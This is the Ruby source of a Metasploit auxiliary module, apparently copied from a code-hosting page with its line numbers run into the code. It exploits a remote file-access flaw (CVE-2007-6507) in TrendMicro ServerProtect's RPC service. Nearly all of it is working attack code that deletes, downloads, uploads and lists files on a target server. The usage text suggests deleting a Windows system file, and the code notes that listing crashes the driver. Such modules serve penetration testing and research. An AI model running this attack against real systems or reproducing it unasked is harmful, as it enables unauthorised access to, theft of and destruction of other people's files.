Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/serverprotect/file.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::DCERPC7include Msf::Post::Windows::Registry89def initialize(info = {})10super(update_info(info,11'Name' => 'TrendMicro ServerProtect File Access',12'Description' => %q{13This modules exploits a remote file access flaw in the ServerProtect Windows14Server RPC service. Please see the action list (or the help output) for more15information.16},17'DefaultOptions' =>18{19'DCERPC::ReadTimeout' => 300 # Long-running RPC calls20},21'Author' => [ 'toto' ],22'License' => MSF_LICENSE,23'References' =>24[25[ 'CVE', '2007-6507' ],26[ 'OSVDB', '44318' ],27[ 'ZDI', '07-077'],28],29'Actions' =>30[31[ 'delete', 'Description' => 'Delete a file' ],32[ 'download', 'Description' => 'Download a file' ],33[ 'upload', 'Description' => 'Upload a file' ],34[ 'list', 'Description' => 'List files (not recommended - will crash the driver)' ]35]36))3738register_options(39[40Opt::RPORT(5168),41OptString.new('RPATH',42[43false,44"The remote filesystem path",45nil46]),47OptString.new('LPATH',48[49false,50"The local filesystem path",51nil52]),53])54end5556def check_option(name)57if(not datastore[name])58raise RuntimeError, "The #{name} parameter is required by this option"59end60end6162def auxiliary_commands63{64"delete" => "Delete a file",65"download" => "Download a file",66"upload" => "Upload a file",67"list" => "List files (not recommended - will crash the driver)",68}69end7071def run72case action.name73when 'download'74check_option('RPATH')75check_option('LPATH')76cmd_download(datastore['RPATH'], datastore['LPATH'])77when 'upload'78check_option('RPATH')79check_option('LPATH')80cmd_upload(datastore['RPATH'], datastore['LPATH'])81when 'delete'82check_option('RPATH')83cmd_delete(datastore['RPATH'])84when 'list'85check_option('RPATH')86cmd_list(datastore['RPATH'])87else88print_error("Unknown action #{action.name}")89end90end9192def deunicode(str)93str.gsub(/\x00/, '').strip94end9596#97# Once this function is used, if cmd_download or cmd_upload is called the server will crash :/98#99def cmd_list(*args)100101if (args.length < 1)102print_status("Usage: list folder")103return104end105106file = Rex::Text.to_unicode(args[0])107108data = "\0" * 0x100109data[4, file.length] = file110111# FindFirstFile112resp = serverprotect_rpccmd(131080, data, 0x100)113return if not resp114115if resp.length != 0x108116print_error("An unknown error occurred while calling FindFirstFile.")117return118end119120121ret, = resp[0x104,4].unpack('V')122if ret != 0123print_error("An error occurred while calling FindFirstFile #{args[0]}: #{ret}.")124return125end126127handle, = resp[4,4].unpack('V')128129file = deunicode(resp[0x30, 0xd0])130print("#{file}\n")131132data = "\0" * 0x100133data[0,4] = [handle].pack('V')134135while true136# FindNextFile137resp = serverprotect_rpccmd(131081, data, 0x100)138return if not resp139140if resp.length != 0x108141print_error("An unknown error occurred while calling FindFirstFile.")142break143end144145ret, = resp[0x104,4].unpack('V')146if ret != 0147break148end149150file = deunicode(resp[0x30, 0xd0])151print("#{file}\n")152end153154data = "\0" * 0x100155data = [handle].pack('V')156# FindClose157resp = serverprotect_rpccmd(131082, data, 0x100)158end159160161def cmd_delete(*args)162163if (args.length == 0)164print_status("Usage: delete c:\\windows\\system.ini")165return166end167168data = Rex::Text.to_unicode(args[0]+"\0")169resp = serverprotect_rpccmd(131077, data, 4)170return if not resp171172if (resp.length == 12)173ret, = resp[8,4].unpack('V')174175if ret == 0176print_good("File #{args[0]} successfully deleted.")177else178print_error("An error occurred while deleting #{args[0]}: #{ret}.")179end180end181182end183184185def cmd_download(*args)186187if (args.length < 2)188print_status("Usage: download remote_file local_file")189return190end191192# GENERIC_READ: 0x80000000193# FILE_SHARE_READ: 1194# OPEN_EXISTING: 3195# FILE_ATTRIBUTE_NORMAL: 0x80196handle = serverprotect_createfile(args[0], 0x80000000, 1, 3, 0x80)197if (not handle or handle == 0)198return199end200201fd = File.new(args[1], "wb")202203print_status("Downloading #{args[0]}...")204205# reads 0x1000 bytes (hardcoded in the soft)206while ((data = serverprotect_readfile(handle)).length > 0)207fd.write(data)208end209210fd.close211212serverprotect_closehandle(handle)213214print_good("File #{args[0]} successfully downloaded.")215end216217218def cmd_upload(*args)219220if (args.length < 2)221print_status("Usage: upload local_file remote_file")222return223end224225# GENERIC_WRITE: 0x40000000226# FILE_SHARE_WRITE: 2227# CREATE_ALWAYS: 2228# FILE_ATTRIBUTE_NORMAL: 0x80229handle = serverprotect_createfile(args[1], 0x40000000, 2, 2, 0x80)230if (handle == 0)231return232end233234fd = File.new(args[0], "rb")235236print_status("Uploading #{args[1]}...")237238# write 0x1000 bytes (hardcoded in the soft)239while ((data = fd.read(0x1000)) != nil)240serverprotect_writefile(handle, data)241end242243fd.close244245serverprotect_closehandle(handle)246247print_good("File #{args[1]} successfully uploaded.")248end249250251def serverprotect_createfile(file, desiredaccess, sharemode, creationdisposition, flags)252data = "\0" * 540253file = Rex::Text.to_unicode(file)254data[4, file.length] = file255data[524, 16] = [desiredaccess, sharemode, creationdisposition, flags].pack('VVVV')256257resp = serverprotect_rpccmd(131073, data, 540)258return if not resp259260if (resp.length < 548)261print_error("An unknown error occurred while calling CreateFile.")262return 0263else264handle, = resp[4,4].unpack('V')265ret, = resp[544,4].unpack('V')266267if ret != 0268print_error("An error occurred while calling CreateFile: #{ret}.")269return 0270else271return handle272end273end274end275276277def serverprotect_readfile(handle)278data = "\0" * 4104279data[0, 4] = [handle].pack('V')280281resp = serverprotect_rpccmd(131075, data, 4104)282return if not resp283284if (resp.length != 4112)285print_error("An unknown error occurred while calling ReadFile.")286return ''287else288ret, = resp[4108,4].unpack('V')289290if ret != 0291print_error("An error occurred while calling CreateFile: #{ret}.")292return ''293else294br, = resp[4104, 4].unpack('V')295return resp[8, br]296end297end298end299300301def serverprotect_writefile(handle, buf)302data = "\0" * 4104303data[0, 4] = [handle].pack('V')304data[4, buf.length] = buf305data[4100, 4] = [buf.length].pack('V')306307resp = serverprotect_rpccmd(131076, data, 4104)308return if not resp309310if (resp.length != 4112)311print_error("An unknown error occurred while calling WriteFile.")312return 0313else314ret, = resp[4108,4].unpack('V')315316if ret != 0317print_error("An error occurred while calling WriteFile: #{ret}.")318return 0319end320end321322return 1323end324325326def serverprotect_closehandle(handle)327data = [handle].pack('V')328329resp = serverprotect_rpccmd(131074, data, 4)330return if not resp331332if (resp.length != 12)333print_error("An unknown error occurred while calling CloseHandle.")334else335ret, = resp[8,4].unpack('V')336337if ret != 0338print_error("An error occurred while calling CloseHandle: #{ret}.")339end340end341end342343344def serverprotect_rpccmd(cmd, data, osize)345if (data.length.remainder(4) != 0)346padding = "\0" * (4 - (data.length.remainder(4)))347else348padding = ""349end350351stub =352NDR.long(cmd) +353NDR.long(data.length) +354data +355padding +356NDR.long(data.length) +357NDR.long(osize)358359return serverprotect_rpc_call(0, stub)360end361362#363# Call the serverprotect RPC service364#365def serverprotect_rpc_call(opnum, data = '')366367begin368369connect370371handle = dcerpc_handle(372'25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0',373'ncacn_ip_tcp', [datastore['RPORT']]374)375376dcerpc_bind(handle)377378resp = dcerpc.call(opnum, data)379outp = ''380381if (dcerpc.last_response and dcerpc.last_response.stub_data)382outp = dcerpc.last_response.stub_data383end384385disconnect386387outp388389rescue ::Interrupt390raise $!391rescue ::Exception => e392print_error("Error: #{e}")393nil394end395end396end397398399